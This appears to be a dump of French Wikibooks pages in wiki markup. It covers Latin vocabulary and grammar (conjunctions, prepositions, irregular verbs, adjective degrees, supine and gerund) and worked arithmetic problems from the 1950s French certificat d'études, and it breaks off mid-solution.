*dum +subj: jusqu'à ce que, pourvu que *ne +subj: que ne...pas *nisi +ind/subj: si ne...pas *postquam +ind/subj: après que *quando +ind/subj: quand *quasi +subj: comme si *quia +ind/subj: parce que *quod +ind/subj: à savoir que; parce que; de ce que *si +ind/subj: si *sicut +ind: comme *ubi +ind: quand *ut +ind: quand, comme *ut +subj: que Latin/Vocabulaire/Prépositions 6980 45952 2006-06-26T20:07:20Z Guillaumito 46 [[Les prépositions les plus fréquentes]] déplacé vers [[Latin/Vocabulaire/Prépositions]]: politique de nommage La '''préposition''' est un mot invariable qui se place devant (parfois après) un nom et qui forme avec celui-ci un complément. ==+Accusatif== *ad +acc: vers, près de *aduersus +acc: contre, en face de *ante +acc: devant, avant *apud +acc: chez, près de *circum +acc: autour de *contra +acc: en face de, contre *extra +acc: en dehors de, à l'extérieur de *in +acc: dans *inter +acc: entre, parmi, pendant *intra +acc: à l'intérieur de *per +acc: à travers, pendant *post +acc: après, derrière *prope +acc: près de *sub +acc: sous *super + acc: sur, au-dessus de *supra +acc: au-dessus de ==+Ablatif== *ab/a +abl: loin de; depuis; par *cum +abl: avec *de +abl: du haut de; depuis; au sujet de *ex/e +abl: hors de; depuis; à la suite de; parmi *in +abl: dans *pro +abl: devant; pour; à la place de *sine +abl: sans *sub +abl: sous *super +abl: au-dessus de, sur ==+Génitif== *instar +gén: à la manière de ==précédée du Génitif== *causa: pour, en vue de *gratia: pour, en vue de Latin/Vocabulaire/Verbes irréguliers et défectifs 6981 45958 2006-06-26T20:08:24Z Guillaumito 46 [[Les verbes irréguliers et défectifs]] déplacé vers [[Latin/Vocabulaire/Verbes irréguliers et défectifs]]: politique de nommage ==Verbes irréguliers== === === *uelle,uolo,uis,uolui: vouloir *nolle,nolo,non uis,nolui: ne pas vouloir *malle,malo,mauis,malui: préférer *fieri,fio,fis,factus sum: devenir; être fait; se produire ===esse et ses dérivés=== *'''esse''',sum,es,fui: être *abesse,absum,afui: être absent,être loin *adesse,adsum,adfui: être présent *deesse,desum,defui: manquer à *interesse,intersum,interfui: être entre *praeesse,praesum,praefui: être à la tête de *prodesse,prosum,profui: être utile à ===ferre et ses dérivés=== *'''ferre''',fero,fers,tuli,latum: porter *adferre,adfero,attuli,allatum: apporter *auferre,aufero,abstuli,ablatum: emporter,enlever *conferre,confero,contuli,collatum *offerre,offero,obtuli,oblatum: offrir *referre,refero,rettuli,relatum: rapporter *sufferre,suffero,sustuli,sublatum: supporter ===ire et ses dérivés=== *'''ire''',eo,is,ii,itum: aller *abire,abeo,abii,abitum: s'en aller, s'éloigner *adire,adeo,adii,aditum: aller vers *exire,exeo,exii,exitum: sortir *perire,pereo,perii,peritum: périr, disparaître *redire,redeo,redii,reditum: revenir *subire,subeo,subii,subitum: aller sous; s'avancer; envahir; subir *transire,transeo,transii,transitum: traverser ==Verbes défectifs courants== *aio,ait: je dis, il dit *coepisse: commencer *inquam,inquit: dis-je, dit-il *meminisse: se souvenir *noui: je sais *odisse: haïr Latin/Vocabulaire/Pronoms et déterminants 6982 45960 2006-06-26T20:08:49Z Guillaumito 46 [[Les pronoms et déterminants les plus fréquents]] déplacé vers [[Latin/Vocabulaire/Pronoms et déterminants]]: politique de nommage ==Les pronoms== ===pronoms personnels=== *ego: moi,je *tu: toi,tu *nos: nous *se: se *uos: vous ===pronoms relatifs=== *qui,quae,quod: qui ===pronoms indéfinis=== *nemo: personne *nihil: rien ==Les pronoms et les déterminants== ===démonstratifs=== *hic,haec,hoc: celui-ci; ce...-ci *ille,illa,illud: celui-là; ce...-là *iste,ista,istud: celui-là; ce...-là ===possessifs=== *meus,mea,meum: le mien; mon *tuus,tua,tuum: le tien; ton *suus,sua,suum: le sien; son *noster,nostra,nostrum: le nôtre; notre *uester,uestra,uestrum: le vôtre; votre ===indéfinis=== *aliquis,aliqua,aliquid: quelque chose *alius,alia,aliud: autre *alter,altera,alterum: l'autre *ceteri,ceterae,cetera: tous les autres *multi,multae,multa: beaucoup *nonnulli,nonnullae,nonnula: plusieurs *omnis,omnis,omne: tout, tous *quidam,quaedam,quoddam: un certain, certain *quiddam,qaedam,quiddam: quelqu'un, quelque chose *talis,talis,tale: tel; un tel ===interrogatifs=== *quis,quae,quid (pronom): qui *qui,quae,quod (déterminant): quel(les) *qualis: quel ===référents=== *idem,eadem,idem: le même *ipse,ipsa,ipsum: lui-même *is,ea,id: ce dernier, celui-ci Modèle:Langue 6983 32532 2006-02-12T15:57:16Z Djiboun 763 modif lien wikilivres par défaut [[w:{{{1}}}|{{{1}}}]][[{{{2|Accueil/Langues}}}|*]] Modèle:Anglais 6985 32485 2006-02-11T23:30:43Z Djiboun 763 {{langue|anglais|Enseignement_de_l'anglais}} Modèle:Allemand 6986 32490 2006-02-11T23:59:35Z Djiboun 763 {{langue|allemand|Enseignement_de_l'allemand}} Modèle:Espagnol 6987 32491 2006-02-12T00:00:41Z Djiboun 763 {{langue|espagnol|Cours_d'espagnol}} Modèle:Italien 6988 32533 2006-02-12T15:58:56Z Djiboun 763 - lien par défaut (automatique) {{langue|italien}} Modèle:Sisterlinks 6989 32511 2006-02-12T13:21:43Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] <div class="noprint" style="clear: right; border: solid #aaa 1px; margin: 0 0 1em 1em; font-size: 90%; background: #F1F8F1; width: 250px; padding: 4px; spacing: 0px; text-align: left; float: right;"> <div style="float: left;"> [[Image:Wikimedia-logo.png|50px|none|Wikimedia]] </div> <div style="margin-left: 60px;">Des articles sur le sujet sont disponibles sur les autres [[commons:Template talk:Sisterlinks|projets Wikimedia]] sur Wikimedia Commons '''''[[commons:{{{1}}}|{{NAMESPACE}} {{PAGENAME}}]]''''' </div> </div> Latin/Vocabulaire/Adverbes 6991 45956 2006-06-26T20:08:00Z Guillaumito 46 [[Les adverbes les plus fréquents]] déplacé vers [[Latin/Vocabulaire/Adverbes]]: politique de nommage ==Adverbes non introducteurs== *adeo: jusque-là; à ce point *adhuc: jusqu'ici; encore *ante/antea: en avant; auparavant *bene: bien *bis: deux fois *celeriter: rapidement *diu: longtemps,depuis longtemps *facile: facilement *haud: pas du tout *hic: ici *iam: déjà *inde: de là; puis *ita: ainsi *longe: loin *male: mal *mox: bientôt *nunc: maintenant *primum: d'abord *procul: loin; au loin *rursus: de nouveau *saepe: souvent *satis: assez *semper: toujours *sic: ainsi *simul: en même temps *statim: aussitôt *tam: tellement,si *tum: alors ==Adverbes introducteurs== *an?: est-ce que ?; si *-ne(?): est-ce que ?; si *qua(?): par où (?) *quam(?): combien (?); que; le plus...possible *quando(?): quand (?) *quanto: combien *quantum(?): combien ( ?) *quare(?): pourquoi (?); par quel moyen (?); par quoi *quo(?): vers où (?), où (?) *quomodo(?): comment (?); que *quotiens(?): combien de fois (?); que *ubi(?): où (?) *unde(?): d'où (?) *ut(?): comment (?); de la manière dont/que Latin/Les degrés de l'adjectif qualificatif 6992 45932 2006-06-26T20:00:59Z Guillaumito 46 [[Les degrés de l'adjectif qualificatif (latin)]] déplacé vers [[Latin/Les degrés de l'adjectif qualificatif]]: politique de nommage L'adjectif qualificatif présente plusieurs degrés de signification: *Positif........................ex: fortis,is,e courageux *Comparatif................ex: fortior;ior,ius plus courageux que; assez courageux *Superlatif...................ex: fortissimus,a,um le plus courageux; très courageux ==Formations et emplois== ===adjectifs positifs=== Il existe '''deux classes''' d'adjectifs: *La première classe se décline suivant les modèles de la première et deuxième déclinason. Ex: bonus,a,um. bon *La deuxième classe se décline suivant les modèles de la troisième déclinaison. Ex: similis,is,e. semblable Pour la formation de ces adjectifs de degré "''positif''" et pour plus d'informations, voir: [[Latin:Déclinaisons|Déclinaisons du latin (noms et adjectifs)]] dans "déclinaisons des adjectifs". ===adjectifs au comparatif=== *'''Formation''': L'adjectif au comparatif se forme à partir du '''Radical de l'adjectif + ior,ior,ius''' (c'est-à-dire le génitif moins la terminaison auquel on ajoute ior,ior,ius). Ex: Fortis,is,e....courageux (degré positif) => Au comparatif: Fortior,ior,ius...assez courageux *'''Déclinaison''': L'adjectif au comparatif se décline comme les modèles de la troisième déclinaison. Ex: Fortis,is,e ____CAS_____MASCULIN/FEMININ_______NEUTRE___ '''Nominatif sg''':____ fortior________________ fortius '''.....Vocatif sg''':____ fortior________________ fortius '''..Accusatif sg''':____ fortior'''em'''_____________ fortius '''......Génitif sg''':____ fortior'''is'''______________ fortior'''is''' '''.........Datif sg''':____ fortior'''i'''_______________ fortior'''i''' '''.......Ablatif sg''':____ fortior'''e'''______________ fortior'''e''' ____CAS_____MASCULIN/FEMININ_______NEUTRE___ '''Nominatif pl''':____ fortior'''es'''______________ fortior'''a''' '''.....Vocatif pl''':____ fortior'''es'''______________ fortior'''a''' '''..Accusatif pl''':____ fortior'''es'''______________ fortior'''a''' '''......Génitif pl''':____ fortior'''um'''_____________ fortior'''um''' '''.........Datif pl''':____ fortior'''ibus'''____________ fortior'''ibus''' '''.......Ablatif pl''':____ fortior'''ibus'''____________ fortior'''ibus''' *'''Traduction''': - Avec complément: Plus..(adj)..que - Sans complément: Plus..(adj).../Assez ..(adj)../Trop..(adj).. *'''Emplois''': Si l'adjectif au comparatif est utilisé avec un complément (second terme de comparaison): - Soit ce complément se met à l''''ablatif''' seul. (ex: Puer gratior '''ceteris''' = un enfant plus agéable que tous les autres) - Soit ce complément se met au '''même cas''' que le premier terme précédé de '''''quam'''''. (ex: Puer gratior quam '''ceteri''' = un enfant plus agréable que tous les autres) *'''Remarques''': Les adjectifs en -'''dicus''',-'''ficus''',-'''uolus''' forment leur comparatif en -'''entior'''. Ex: magnificus,a,um: magnifique => Au comparatif: magnificentior,ior,ius ===adjectifs au superlatif=== *'''Formation''': L'adjectif au superlatif se forme à partir du '''Radical de l'adjectif + issimus,issima,issimum''' (c'est-à-dire le génitif moins la terminaison auquel on ajoute issimus,issima,issimum). Ex: Fortis,is,e....courageux (degré positif) => Au superlatif: Fortissimus,issima,issimum...le plus courageux *'''Déclinaison''': L'adjectif au superlatif se décline comme les modèles de la première et la deuxième déclinaison. Ex: Fortis,is,e _____CAS________MASCULIN________FEMININ_________NEUTRE____ '''Nominatif sg''':____ fortissimus_______ fortissima_______ fortissimum '''.....Vocatif sg''':____ fortissim'''e'''________ fortissima_______ fortissimum '''..Accusatif sg''':____ fortissim'''um'''______ fortissim'''am'''_____ fortissim'''um''' '''......Génitif sg''':____ fortissim'''i'''________ fortissim'''ae'''______ fortissim'''i''' '''.........Datif sg''':____ fortissim'''o'''________ fortissim'''ae'''______ fortissim'''o''' '''.......Ablatif sg''':____ fortissim'''o'''________ fortissim'''a'''_______ fortissim'''o''' _____CAS________MASCULIN_________FEMININ__________NEUTRE___ '''Nominatif pl''':____ fortissim'''i'''__________ fortissim'''ae'''_______ fortissim'''a''' '''.....Vocatif pl''':____ fortissim'''i'''__________ fortissim'''ae'''_______ fortissim'''a''' '''..Accusatif pl''':____ fortissim'''os'''________ fortissim'''as'''_______ fortissim'''a''' '''......Génitif pl''':____ fortissim'''orum'''_____ fortissim'''arum'''_____ fortissim'''orum''' '''.........Datif pl''':____ fortissim'''is'''________ fortissim'''is'''________ fortissim'''is''' '''.......Ablatif pl''':____ fortissim'''is'''________ fortissim'''is'''________ fortissim'''is''' *'''Traduction''': - Avec complément: Le plus..(adj)..de - Sans complément: Le plus..(adj)../Très..(adj).. *'''Emplois''': Si l'adjectif au superlatif est utilisé avec un complément: - Soit ce complément se met au '''génitif''' seul. (ex: Puer fortissimus '''omnium''' = l'enfant le plus courageux de tous) - Soit ce complément se met à l''''accusatif''' précédé de '''''inter'''''. (ex: Puer fortissimus inter '''omnies''' = l'enfant le plus courageux de tous) - Soit ce complément se met à l''''ablatif''' précédé de '''''ex'''''. (ex: Puer fortissimus ex '''omnibus''' = l'enfant le plus courageux de tous) *'''Remarques''': - Les adjectifs en -'''dicus''',-'''ficus''',-'''uolus''' forment leur superlatif en -'''entissimus'''. Ex: magnificus,a,um: magnifique => Au superlatif: magnificentissimus,issima,issimum - Les adjectifs en -'''er''',-'''lis''' forment respectivement leur superlatif en -'''rimus''',-'''limus'''. Ex: acer,ris,re: aigu => Au superlatif: acerrimus,a,um similis,is,e: semblable => Au superlatif: simillimus,a,um ==Formations irrégulières== Latin/Les pronoms et les adjectifs pronoms 6993 45934 2006-06-26T20:01:31Z Guillaumito 46 [[Les pronoms et les adjectifs pronoms (latin)]] déplacé vers [[Latin/Les pronoms et les adjectifs pronoms]]: politique de nommage ==Pronoms== ===pronoms personnels=== ===pronoms relatifs=== ===pronoms indéfinis=== ==Pronoms et adjectifs-pronoms (ou déterminants)== ===possessifs=== ===démonstratifs=== ===référents=== ===interrogatifs=== ===indéfinis=== Latin/Les mots invariables 6996 45936 2006-06-26T20:01:46Z Guillaumito 46 [[Les mots invariables (latin)]] déplacé vers [[Latin/Les mots invariables]]: politique de nommage ==Adverbes== ==Prépositions== ==Conjonctions== ===de coordination=== ===de subordination=== ==Négations== ==Interjections== Latin/Les formes impersonnelles 6997 45944 2006-06-26T20:03:34Z Guillaumito 46 [[Les formes impersonnelles en latin]] déplacé vers [[Latin/Les formes impersonnelles]]: politique de nommage == Le participe == == Le supin == Le supin s'emploie parfois à la place de l'infinitif. ===Le supin en -tum=== Le supin en -tum s'emploie '''avec les verbes de mouvement''', comme accusatif répondant à la question : '''quo ?''' *Eo lusum : je vais jouer *Eo doctum : je viens apprendre *Ire dormitum : aller dormir *Itis risum : vous venez pour rire ===Le supin en -tu=== Ce supin est employé comme un '''ablatif de point de vue''', avec les adjectifs signifiant beau, bon, digne, facile, etc. *Res jucunda auditu : chose agréable à entendre *Res facilis dictu : chose facile à dire *Optimum factu *Dignum momeratu *Fas/nefas dictu *Dictu/scitu opus *Difficile dictu est quantopere conciliet animos hominum comitas == Le gérondif == Le '''gérondif''' remplace l'infinitif dans les fonctions autres que celles de sujet et de complément d'objet. Il se décline comme un nom neutre de la deuxième déclinaison, mais il n'a pas de nominatif, et son accusatif, n'étant jamais complément d'objet, est toujours introduit par une préposition. Le gérondif s'emploie comme complément de nom (génitif), complément d'adjectif (génitif, datif, accusatif) et complément de verbe (datif, ablatif, accusatif). == La proposition infinitive == <table align="center" id="toc"> <tr style="background:#ccccff" align="center"> <td> '''[[Syntaxe latine]]''' <tr align="center"> <td> [[Le rôle des cas en latin|Les cas]] | [[Le verbe latin dans la proposition principale|La proposition principale]] | [[Les modes impersonnels en latin|Les modes impersonnels]] | [[Les subordonnées en latin|Les subordonnées]] | [[Tableau des emplois de ut|Ut]] | [[Petite syntaxe latine à l'usage de la version|Petite syntaxe]] </table> Modèle:Ar 6998 44956 2006-06-18T01:22:51Z Eric.dane 1653 <span lang="ar" title="Arabic text" dir="rtl" class="spanAr" style="font-size:14pt;">{{{1}}}</span> <noinclude> __NOTOC__ == Usage == <code><nowiki>{{Ar|Arabic script}}</nowiki></code> produit ceci : {{Ar|Arabic script}} ---- [[cs:Šablona:Ar]] [[de:Vorlage:Ar]] [[vi:Tiêu bản:Ar]] </noinclude> Modèle:Chinois 6999 32552 2006-02-12T17:10:15Z Djiboun 763 {{langue|chinois|Enseignement_du_chinois}} Modèle:Coréen 7000 32554 2006-02-12T17:13:16Z Djiboun 763 {{langue|coréen|Enseignement_du_coréen}} Modèle:Espéranto 7001 32555 2006-02-12T17:13:40Z Djiboun 763 {{langue|espéranto|Enseignement_de_l'espéranto}} Enseignement du Coréen 7002 32557 2006-02-12T17:15:25Z Djiboun 763 [[Enseignement du Coréen]] déplacé vers [[Enseignement du coréen]]: sans majuscule #REDIRECT [[Enseignement du coréen]] Modèle:Finnois 7004 32560 2006-02-12T17:18:33Z Djiboun 763 {{langue|finnois|Enseignement_du_finnois}} Modèle:Hindi-l 7005 32561 2006-02-12T17:22:31Z Djiboun 763 {{langue|hindi|Enseignement_du_hindi}} Modèle:Néerlandais-l 7007 32565 2006-02-12T17:38:58Z 82.249.166.197 {{langue|néerlandais|Enseignement_du_néerlandais}} Modèle:Polonais 7008 32568 2006-02-12T17:43:11Z 82.249.166.197 {{langue|polonais|Enseignement_du_polonais}} Modèle:Japonais-l 7009 32569 2006-02-12T17:44:32Z 82.249.166.197 {{langue|japonais|Table_des_matières_(Japonais)}} Modèle:Portugais 7010 32570 2006-02-12T17:45:54Z 82.249.166.197 {{langue|portugais|Enseignement_du_portugais_Boas-vindas}} Modèle:Suédois 7011 32571 2006-02-12T17:47:33Z 82.249.166.197 {{langue|suédois|suédois}} Modèle:Russe 7012 32572 2006-02-12T17:48:25Z 82.249.166.197 {{langue|russe|Enseignement_du_russe}} Certificat d'études (E-M) 7019 38894 2006-03-27T07:47:18Z 81.188.84.154 précision de calcul avec les unités {{ExoMath}} Le [[w:certificat d'études primaires|certificat d'études primaires]] est un examen français qui a eu son heure de gloire pendant près d'un siècle (env.1880 - 1980). L'épreuve de calcul était constituée de deux exercices ou problèmes de 8 et 12 points orientés plutôt vers l'économie domestique et rurale (calculs de coûts et de dépenses). Les exercices 1 à 5 correspondent à des épreuves données en 1957, les exercices 6 à 8 présentent des structures d'exercices possibles dont les valeurs numériques sont arbitraires et ne correspondent pas vraiment à une situation de l'époque. Les solutions sont, dans la mesure du possible, présentées comme elles étaient attendues dans les années 50. ====Exercice 1 ==== : I. Un automobiliste part à 8h55 de son domicile pour accomplir un parcours de 72 km à la vitesse moyenne de 60 km/h :: 1. À quelle heure pense-t-il arriver ? :: 2. Ayant accompli les 3/4 du trajet à cette vitesse, une panne lui fait perdre 10 min et il arrive finalement au but à 10h14. À quelle vitesse moyenne a-t-il roulé après la réparation ? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : I. : 1. </td> <td width="25%"> </td> </tr> <tr valign="top"> <td width = "75%"> : Pour parcourir 72 km à une vitesse moyenne de 60 km/h, l'automobiliste met :: 72 km ÷ 60 km/h = 1,2 h = 1h + 1/5 h = 1h 12 min : L'automobiliste arrive donc à :: 8h 55 + 1h 12 = <u>10h 07</u> </td> <td width="25%"> <pre> 72|60 720|60 12|1 0|12 </pre> </td> </tr> <tr valign="top"> <td width = "75%"> :2. : Les 3/4 de 72 km représentent :: <math>\frac{72\times 3}{4}</math> = 18 × 3 = 54 km :Pour parcourir 54 km, l'automobiliste met ::<math> \frac{54}{60}</math>h = <math>\frac{54 \times 60}{60}</math> min = 54 min : L'heure de départ après la panne est :: 8h 55 + 54 min + 10 min = 9h 59 :Il lui reste à parcourir :: 72 - 54 = 18 km : Le temps de parcours est ::10h14 - 9h59 = 15 min =<math> \frac 14</math> h : La vitesse de parcours est donc de :: <math>\frac{18 \times 4}{1}</math> = <u>72 km/h </u> </td> <td width="25%"> </td> </tr> </table> }} : II. Le lait passé à l'écrémeuse donne 12% de son volume de crème et 3 l de crème fournissent 1 kg de beurre. Un cultivateur traite 100 litres de lait en moyenne par 24 heures. ::1. Combien retire-t-il de la vente du beurre obtenu en 30 j, le beurre valant 680 F le kg ? ::2. Lorsqu'il écrémait à la main, le poids du beurre obtenu n'était que de 90% du poids du beurre qu'il obtient maintenant. Quel bénéfice mensuel réalise-t-il grâce à l'écrémeuse ? :: 3. L'écrémeuse a coûté 65 280 F. Combien devrait-il traiter de litre de lait par jour pour amortir le prix de son écrémeuse en cinq mois? (compter des mois de 30 jours) {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : II. : 1. : En 30 jours, le cultivateur traite : ::30 × 100 = 3 000 litres de lait : 3000 litres de lait donnent ::3000 × 12 ÷ 100 = 360 litres de crème : 360 litres de crème donnent :: 360 ÷ 3 = 120 kg de beurre </td> <td width="25%"> </td> </tr> <tr valign="top"> <td width = "75%"> : En vendant 120 kg de beurre à 680F le kg, l'agriculteur retire de la vente :: 120 × 680 = <u>81 600 F</u> </td> <td width="25%"> <pre> 680 x 120 ----- 13600 680 ----- 81600 </pre> </td> </tr> <tr valign="top"> <td width = "75%"> :2. : En écrémant à la main, l'agriculteur ne récoltait que 90% du beurre soit :: 120 × 90 ÷ 100 = 108 kg de beurre : Il retirait de la vente :: 108 × 680 = 73 440 F : Avec l'écrémeuse, il réalise un bénéfice mensuel de :: 81600 - 73440 = <u>8 160 F</u> </td> <td width="25%"> <pre> 680 81600 x 108 -73440 ----- ----- 5440 8160 6800 ----- 73440</pre> </td> </tr> <tr valign="top"> <td width = "75%"> :3. : Pour amortir son écrémeuse en 5 mois, le bénéfice réalisé par mois doit être de :: 65 280 ÷ 5 = 13 056 F : Pour un bénéfice de 8160 F il faut traiter 100 litres par jour, pour un bénéfice de 13 056 F il faut traiter (règle de trois) ::<math> \frac{100\times 13056}{8160}</math> = <u>160 litres par jour</u> </td> <td width="25%"> <pre> 65280|5 130560|816 15 |13056 4896 |160 2 | 00| 28 | 30| 0| </pre> </td> </tr> </table> }} ==== Exercice 2 ==== :I. Un élève a eu successivement aux compositions, 8/20 en français ; 11 en dictées et questions ; 10 en histoire ; 13 en sciences. Il lui reste à faire le calcul. Combien doit-il avoir au minimum, s'il vaut avoir à toutes les compositions une moyenne générale de 11,5 sur 20 ? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : Pour avoir, aux 5 épreuves, une moyenne générale de 11,5, il faut avoir obtenu : :: 5 × 11,5 = 57,5 : L'élève a déja obtenu : :: 8 + 11 + 10 + 13 = 42 : Il doit donc obtenir en calcul : :: 57,5 - 42 = <u>15,5 sur 20</u> </td> <td width="25%"> </td> </tr> </table> }} : II. Un groupe de 12 enfants décide de faire une sortie qui les oblige à manger au dehors. Un hôtelier offre de leur fournir le repas à raison de 125 F par enfant. Mais, pour diminuer les frais, ils emportent un repas froid ; ils achètent ainsi 6 kg de pain à 51 F le kg, 3 boîtes de pâté à 75 F la boîte , 12 bouteilles de bière à raison de 40 F la bouteille et 2 kg de fruits à 130 F le kg. Ont-ils fait une économie ? Si oui, à combien s'élève-t-elle ? Si non, combien ont-ils perdu ? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : Le prix que les enfants auraient payé à l'hôtelier est de :: 125 × 12 = 1 500 F </td> <td width="25%"> <pre> 125 x 12 ---- 250 125 ---- 1500 </pre> </td> </tr> <tr valign="top"> <td width = "75%"> :Les 6 kg de pain ont coûté : :: 6 × 51 = 306 F : Les 3 boîtes de pâté ont coûté : :: 3 × 75 = 225 F :Les 12 bouteilles de bière ont coûté : :: 12 × 40 = 480 F : Les 2 kg de fruits ont coûté : :: 2 × 130 = 260 F : La dépense totale est donc de ::306 + 225 + 480 + 260 = 1271 : Les enfants ont donc <u>économisé</u> : ::1500 - 1271 = <u>221 F</u> </td> <td width="25%"> <pre> 306 225 480 260 ---- 1271 </pre> </td> </tr> </table> }} ==== Exercice 3 ==== :I. Un restaurateur reçoit une bonbonne pleine d'huile dont le poids total est de 23,250 kg. Le poids spécifique de cette huile est de 0,915 kg par litre et la bonbonne vide pèse 2,750 kg. Le restaurateur met l'huile dans des bouteilles de 95 cl. Combien peut-il remplir de bouteilles ? En supposant exact le remplissage de ces bouteilles, quelle est la quantité d'huile (en litre) versée dans la dernière bouteille où le restaurateur achève de vider la bonbonne ? (les volumes seront calculés au cl près) {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : Le poids d'huile dans la bonbonne est de :: 23,250 - 2,750 = 20,500 kg : Si 0,915 kg est le poids de 1 litre d'huile, dans 20,500 kg il y a :: 20,500 ÷ 0,915 = 22,40 litres </td> <td width="25%"> <pre> 20500,00|915 2200 |22,40 370 0 | 4 00| 4 00| </pre> </td> </tr> <tr valign="top"> <td width = "75%"> : Avec ses 22,40 litres, il peut remplir :: 22,40 ÷ 0,95 = 23 bouteilles pleines : Il remplit alors une 24<sup>e</sup> bouteille avec 0,55 l </td> <td width="25%"> <pre> 2240|95 340|23 55| </pre> </td> </tr> </table> }} : II. Sur un croquis à l'échelle 1/200, un jardin est représenté par un jardin de 15 cm au centre duquel un cercle de 2,5 cm de rayon figure un bassin creusé dans le jardin :: 1. Faites un croquis à l'échelle donnée :: 2. Quelle surface de bassin reste-t-il après creusement du bassin ? :: 3. Si ce bassin a 0,80 m de profondeur, quelle est sa capacité en hl ? :: 4. Pendant combien de temps faudra-t-il laisser ouvert un robinet d'alimentation qui fournit 40 l d'eau à la minute pour que le bassin, primitivement vide, soit rempli jusqu'à 10 cm du bord supérieur ? (on prendra &pi; égal à 3,14 et on donnera le dernier résultat en h et mn) {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> :1. :2. : Puisque 1cm sur le croquis représentent 2 m alors 15 cm représentent :: 15 × 2 = 30 m : La surface du terrain est donc :: 30 × 30 = 900 m² : Le rayon de 2,5 cm représente :: 2,5 × 2 = 5 m : La surface du bassin est donc :: &pi; × 5 × 5 = 78,50 m² : La surface de jardin est de ::900 - 78,50 = <u>821,50 m²</u> </td> <td width="25%"> <pre> 3,14 x 25 ----- 15 70 62 8 ----- 78,50 </pre> </td> </tr> <tr valign="top"> <td width = "75%"> : 3. :La capacité du bassin est de :: 78,50 × 0,8 = 63 m<sup>3</sup> soit <u>630 hl</u> </td> <td width="25%"> <pre> </pre> </td> </tr> <tr valign="top"> <td width = "75%"> : 4. : La quantité d'eau à mettre dans le bassin est de :: 78,50 × 0,7 = 54,95 m<sup>3</sup> soit 54 950 litres : Pour remplir le bassin, à raison de 40 l à la mn, il faut :: 54950 ÷ 40 = 1 373 mn et il manque 30 li : 1374 mn représente :: 1374 ÷ 60 = <u>22 h et 54 mn </u> </td> <td width="25%"> <pre> </pre> </td> </tr> </table> }} ==== Exercice 4 ==== : I. Un père de famille fait un voyage en auto avec sa femme et ses deux enfants. Ils parcourent 275 km. La voiture consomme 8,5 l d'essence et 0,25 l d'huile aux 100 km. L'essence vaut 78,4 F le litre et l'huile 525 F le bidon de 2 l. En chemin, la famille a pris un repas qui a coûté 450 F par personne. Quelle est la dépense totale ? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : En 275 km, la voiture consomme :: 2,75 × 8,5 = 23,375 litres d'essence : Le prix de l'essence consommée est donc de :: 78,4 × 23,375 = 1 832,60 F : En 275 km, la voiture consomme :: 2,75 × 0,25 = 0,6875 litres d'huile : Prix de l'huile consommée :: 0,6875 × 525 ÷ 2 = 180,47 F : Les 4 repas ont coûté ::4 × 450 = 1 800 F : Le coût du voyage s'élève donc à :: 1832,60 + 180,47 + 1800 = <u>3 813,07 F </u> </td> <td width="25%"> <pre> 275 23375 x 85 x 784 ------ -------- 1375 93500 2200 187000 ------ 163625 23375 -------- 18326000 </pre> <pre> 6875 x 2625 --------- 34375 13750 41250 13750 --------- 18046875 </pre> </td> </tr> </table> }} :II. Une ménagère voudrait acheter une petite machine à laver dont le prix marqué est de 76 500 F. Si elle paie comptant, le commerçant lui fera une remise de 3 %. Si elle demande du crédit, il lui sera demandé de verser 12 % de la valeur de l'appareil à la commande, le reste étant payable en 15 mensualités de 5000 F chacune. :: 1. Comparez la dépense dans les deux cas. :: 2. Pour bénéficier de la remise, elle décide d'acheter la machine au comptant. Comme elle dispose de 10 000 F, elle emprunte le reste qu'elle rembourse au bout de 15 mois avec l'intérêt escompté à 6 %. A-t-elle choisi la solution la plus avantageuse ? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> :1. : Si elle paie au comptant, la ménagère déboursera :: 76 500 × 97 ÷100 = <u>74 205 F</u> </td> <td width="25%"> <pre> 765 x 97 ------ 5355 6885 ------- 74205 </pre> </td> </tr> <tr valign="top"> <td width = "75%"> : Si elle paie à crédit, elle doit verser d'abord :: 76 500 × 12 ÷100 = 9 180 F : Puis les 15 mensualités de 5 000 F, soit :: 15 × 5 000 = 75 000 F : L'appareil lui reviendra à :: 75 000 + 9 180 = <u> 84 180 F</u> : En achetant la machine à laver à crédit, elle débourse :: 84 180 - 74205 = <u>9 975 F </u>de plus que si elle l'achète au comptant </td> <td width="25%"> <pre> 765 x 12 ------ 1530 765 ------ 9180 </pre> </td> </tr> <tr valign="top"> <td width = "75%"> :2. : Pour acheter comptant, elle doit emprunter :: 74 205 - 10 000 = 64 205 F : Le taux d'escompte pour 12 mois est de 6 % donc pour 15 mois, il est de : :: 6 × 15 ÷12 = 7,5 % : <small> Rem :les élèves du certificat d'études ne travaillent pas en [[w:intérêts composés|intérêts composés]]</small> : Au bout de 15 mois, l'escompte sera de :: 64 205 × 7,5 ÷ 100 = 4815,38 F : L'appareil lui aura coûté :: 64 205 + 4 815,38 + 10 000 = <u> 79 020,38 </u> F : Elle a donc tout intérêt à emprunter </td> <td width="25%"> <pre> 64205 x 75 ------- 321025 448435 -------- 4815375 </pre> </td> </tr> </table> }} ==== Exercice 5 ==== : I. Un terrain ayant la forme d'un trapèze rectangle est situé au bord d'une rivière. La hauteur mesure 33 m. Ce champ a été payé 134 640 F à raison de 600 000 F l'hectare. La rivière longe le côté du champ qui ne forme pas d'angle droit. Tout autour de ce champ, sauf du côté de la rivière, on place une clôture qui revient à 193 F le m. Quelle sera la dépense ? {{boîte déroulante|align=left|titre=Solution|contenu= <table width="100%" align="center" border="0" cellpadding="4" cellspacing="4" > <tr valign="top"> <td width = "75%"> : La surface du champ est de :: 134 640 